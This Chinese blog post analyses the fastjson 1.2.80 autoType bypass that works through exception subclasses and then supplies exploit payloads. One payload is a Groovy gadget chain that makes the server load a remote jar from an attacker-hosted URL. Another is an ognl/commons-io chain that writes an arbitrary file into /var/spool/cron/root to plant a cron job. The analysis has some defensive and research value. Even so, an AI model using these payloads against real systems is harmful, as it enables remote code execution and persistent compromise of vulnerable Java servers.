首页 > 其他分享 >fastjson 1.2.80 漏洞浅析及利用payload

fastjson 1.2.80 漏洞浅析及利用payload

时间:2023-08-02 19:56:19浏览次数:51  
标签:fastjson groovy java lang 1.2 org type 浅析

0x01 说明

在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中,绕过checkAuto。

0x02 简析

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

直接DefaultJSONParser.class搜checkAuto下断点

image-20230731210147425

步入到com/alibaba/fastjson/parser/ParserConfig.java

image-20230801143800548

使用TypeUtils.getClassFromMapping从缓存中读取java.lang.Exception

image-20230731220017287

跳到了checkAuto

image-20230801143913556

往下走,获取ObjectDeserializer对象,因为是异常类,获取到的是ThrowableDeserializer反序列化器

image-20230801144010902

继续步入,跳转到com/alibaba/fastjson/parser/ParserConfig.java

image-20230801144609065

匹配条件image-20230801160412905

此时clazz为null

image-20230801160614089

匹配下个

image-20230801160724299步入com/alibaba/fastjson/util/TypeUtils.java

Mappings.put()将类添加到map中

但是cache不为真

image-20230801161151268

匹配下个

image-20230801161245810

此时expectClass

image-20230801161437063

expectClass非空使用addMapping将clazz类加入缓存

image-20230801170509298

image-20230801145908735

每次处理一层json都会putDeserializer,可以向deserializers添加新数据。

image-20230801172351369

第三次处理会加上org.codehaus.groovy.control.ProcessingUnit

image-20230801173833837

0x03 利用

1、groovy链

需要存在groovy链,这里测试版本使用如下版本

        <dependency>
            <groupId>org.codehaus.groovy</groupId>
            <artifactId>groovy-all</artifactId>
            <version>3.0.12</version>
        </dependency>

jar包用大哥的

https://github.com/Lonely-night/fastjsonVul

将CompilationFailedException作为子类,java.lang.Exception作为期望类可绕过检测

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

发利用包

{
  "@type":"org.codehaus.groovy.control.ProcessingUnit",
  "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  "config":{
    "@type": "org.codehaus.groovy.control.CompilerConfiguration",
    "classpathList":["http://127.0.0.1:8081/attack-1.jar"]
  },
  "gcl":null,
  "destDir": "/tmp"
}

image-20230801174215684

2、ognl & io & aspectj & commons-codec

payload可通过大哥写的生成

https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson26_ognl_io_write_4.java

这里payload为往/var/spool/cron/root目录写入计划任务,注意只能往存在目录下写文件

1.2.73-1.2.80 ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
写入复杂文件结构,文件需要大于8kb
{
	"su14": {
		"@type": "java.lang.Exception",
		"@type": "ognl.OgnlException"
	},
	"su15": {
		"@type": "java.lang.Class",
		"val": {
			"@type": "com.alibaba.fastjson.JSONObject",
			{
				"@type": "java.lang.String"
				"@type": "ognl.OgnlException",
				"_evaluation": ""
			}
		},
		"su16": {
			"@type": "ognl.Evaluation",
			"node": {
				"@type": "ognl.ASTMethod",
				"p": {
					"@type": "ognl.OgnlParser",
					"stream": {
  "@type":"org.apache.commons.io.input.BOMInputStream",
  "delegate":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type": "org.apache.commons.codec.binary.Base64InputStream",
      "in":{
        "@type":"org.apache.commons.io.input.CharSequenceInputStream",
        "charset":"utf-8",
        "bufferSize": 1024,
        "s":{"@type":"java.lang.String""文件baes64"
      },
      "doEncode":false,
      "lineLength":1024,
      "lineSeparator":"5ZWKCg==",
      "decodingPolicy":0
    },
    "branch":{
      "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
      "targetPath":"/var/spool/cron/root"
    },
    "closeBranch":true
  },
  "include":true,
  "boms":[{
                  "@type": "org.apache.commons.io.ByteOrderMark",
                  "charsetName": "UTF-8",
                  "bytes":[85, 48, 104...文件bytes]
                }],
}
				}
			}
		},
		"su17": {
			"$ref": "$.su16.node.p.stream"
		},
		"su18": {
			"$ref": "$.su17.bOM.bytes"
		}
	}

标签:fastjson,groovy,java,lang,1.2,org,type,浅析
From: https://www.cnblogs.com/pykiller/p/17601601.html

相关文章

  • nginx1.20-tomcat9-redisson集群,好像不怎么完善
    配置信息在同一台服务器上使用nginx做反向代理与两个tomcat组成简易tomcat集群使用nginx端口80tomcat1端口21005,21080,21009tomcat2端口22005,22080,22009配置过程1.先下载apache-tomcat-9.0.78,解压到两个目录,分别为tomcat1和tomcat2根据上方配置信息分别对两个目录中的......
  • 浅析大数据时代下的视频技术发展趋势以及AI加持下视频场景应用
    视频技术的发展可以追溯到19世纪初期的早期实验。到20世纪初期,电视技术的发明和普及促进了视频技术的进一步发展。1)数字化:数字化技术的发明和发展使得视频技术更加先进。数字电视信号具有更高的清晰度和更大的带宽,可以更快地传输和存储视频数据。2)高清晰度:高清晰度视频技术在21世纪......
  • day11 11.2 JNI案例
    【一】创建项目【1】新建utils.c在cpp文件夹下新建utils.c的源文件,后缀名是c,因为怎么用c写(.cpp是c++,不要用这个)【2】新建java类新建一个java类,类中写函数packagecom.dream.demo11;publicclassUtils{//定义一个方法,实现C中的某个方法相对应publi......
  • KubeSphere 3.4.0 发布:支持 K8s v1.26
    2023年07月26日,KubeSphere开源社区激动地向大家宣布,KubeSphere3.4.0正式发布!让我们先简单回顾下之前三个大版本的主要变化:KubeSphere3.1.0新增了“边缘计算”、“计量计费”等功能,将Kubernetes从云端扩展至边缘;KubeSphere3.2.0新增了对“GPU资源调度管理”......
  • ubuntu16.04编译安装nginx1.24.0
    环境:DistributorID: UbuntuDescription: Ubuntu16.04.7LTSRelease: 16.04Codename: xenial 安装包:pcre-8.45.tar.gznginx-1.24.0.tar.gz开始安装:安装pcretar-xzvfpcre-8.45.tar.gzcdpcre-8.45./configure--prefix=/usr/local/pcremake&&makeinstall......
  • 不忘初心 Windows11 22H2 22621.2070 x64 无更新 精简 游戏 2023.07.31 集成最新版任
    注意此版不能更新补丁,而且非纯净版,此版为游戏版,为游戏稳定而生也可以用于办公,保留Hyper和linux,体积和稳定性介于可更新版和无更新版之间,集成任务栏透明软件,独家4K全新高清壁纸,增加右键一些功能,以及离线集成了运行库,绝对给你带来不一样的视觉体验,不一样的美!为了保证稳定初心的系统......
  • 浅析互联网技术在分布式光伏发电运维平台的设计与实现
    摘要:随着光伏发电的不断发展,对于光伏发电监控系统的需求也日益迫切,“互联网+”时代,“互联网+”的理念已经转化为科技生产的动力,促进了产业的升级发展,本文结合“互联网+”技术提出了一种针对分散光伏发电站运行数据进行实时数据采集、分析、处理,查看实时运行情况,并通过移动APP对光伏......
  • 【go语言】3.1.2 接口的定义和实现
    在Go中,接口是一种抽象类型,用来描述其他类型应该有哪些方法。它定义了一组方法,但没有实现。这些方法由其他类型实现。接口的定义接口定义的格式如下:typeInterfaceNameinterface{Method1(param1type1,param2type2)returntype1Method2(param1type1,param2ty......
  • 浅析电力仪表在楼宇建筑电气安全与能效管理中的应用
    摘要:本文从电气安全监控系统应用现状,分析电气安全事故隐患难的原因入手,导出电气安全与能效管理理念,通过探析电气安全与能效管理系统的架构、功能和应用,得出结论:电气安全与能效管理系统能及时有效地发现和消除“孤岛”管理模式下存在的电气安全事隐患,提高工作效率、降低楼宇建筑配电......
  • 浅析热更新原理的发展与潜在问题
    原生应用是指针对特定操作系统(如iOS、Android、Windows等)使用原生编程语言(如Swift/Objective-CforiOS,Java/KotlinforAndroid,C#forWindows)开发的应用程序。这些应用程序完全针对特定的操作系统和硬件进行优化和设计,能够充分利用操作系统提供的功能和特性。混合应用(HybridA......